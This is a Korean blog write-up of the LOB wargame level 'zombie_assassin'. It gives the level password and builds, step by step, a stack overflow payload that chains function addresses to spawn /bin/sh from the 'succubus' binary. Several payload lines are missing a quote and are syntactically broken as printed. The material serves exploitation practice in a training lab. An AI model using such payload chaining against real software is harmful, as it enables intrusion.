cgy12306

[LOB] zombie_assassin 본문

Wargame/LOB

[LOB] zombie_assassin

cgy12306 2019. 9. 30. 10:53

ID : zombie_assassin
PW : no place to hide




strchr은 해당 문자열에 특정 문자가 있으면 참을 반환한다. 그래서 \x40을 쓰게 되면 종료를 하게 된다.
memcmp는 두 문자열을 비교한다. 해당 소스코드는 4byte만큼 비교해서 같으면 0을 반환하고, 다르면 0이 아닌 값을 반환한다. 즉, 다르면 종료한다. 그 이후 strcpy가 실행된다.

45번째부터 4byte가 &addr과 같아야 한다.


main+88 부분을 보게 되면 %ebp-44에 0x80487ec를 넣는 것을 볼 수 있다. 그 부분을 분석해보자.


Do 함수라는 것을 알 수 있다. 여기까지 생각할 수 있는 것은 A를 44개 넣고 그 뒤에 Do의 주소를 넣어 함수를 호출하면 된다는 것이다.

./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08"'`



welcome to the DO! 까지 출력을 했다.

모든 함수는 시작주소+4에 return address를 넣어 이전 함수로 돌아 가려 한다. 이 부분을 조작해서 다음 함수로 넘어가 보자. GYE 함수를 찾아보자.

DO 함수 바로 윗부분을 디스 어셈블 해보자.


GYE 함수의 시작 주소를 알아 냈다.

./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08"'`


GUL 함수의 주소를 알아보자.


GUL 함수의 주소를 알아냈다.

./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08"'`


YUT의 함수의 주소를 알아내자.


YUT 함수의 주소를 알아 냈다.

./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08"'`



마지막 MO의 함수 주소이다.


./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08"'`


하지만 sh 에러가 뜨고, Segmentation fault가 뜬다. 아마 MO 함수에서 인자로 받은 cmd의 주소를 제대로 못잡기 때문인것 같다.

아래처럼 값을 입력하고 core dump를 떠보자.

./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x84\x9b\x04\x08" + "/bin/sh\x00" + "A"*100'`



0xbffffa44지점 부터는 0으로 초기화 되는 것을 볼 수 있다. 하지만 위에 0x6e69622f 0x0068732f(/bin/sh)로 추정되는 값은 살아 있다.
string으로 확인 해보자.


/bin/sh이 살아 있다.


/bin/sh의 주소는 0xbffff9f8이다.

그러면 MO 함수까지 들어가는 코드를 작성하고 바로 그 뒤에 return address는 dummy로 덮어주고 인자를 /bin/sh이 들어있는 주소를 넣어 주고 그 뒤에 /bin/sh\x00을 넣어주면 된다.

최종 페이로드는 다음과 같다.

./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + \xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xf8\xf9\xff\xbf" + "/bin/sh\x00"'`




'Wargame > LOB' 카테고리의 다른 글

[LOB] nightmare  (0) 2019.09.30
[LOB] succubus  (0) 2019.09.30
[LOB] assassin  (0) 2019.09.30
[LOB] giant  (0) 2019.09.30
[LOB] bugbear  (0) 2019.09.30
Comments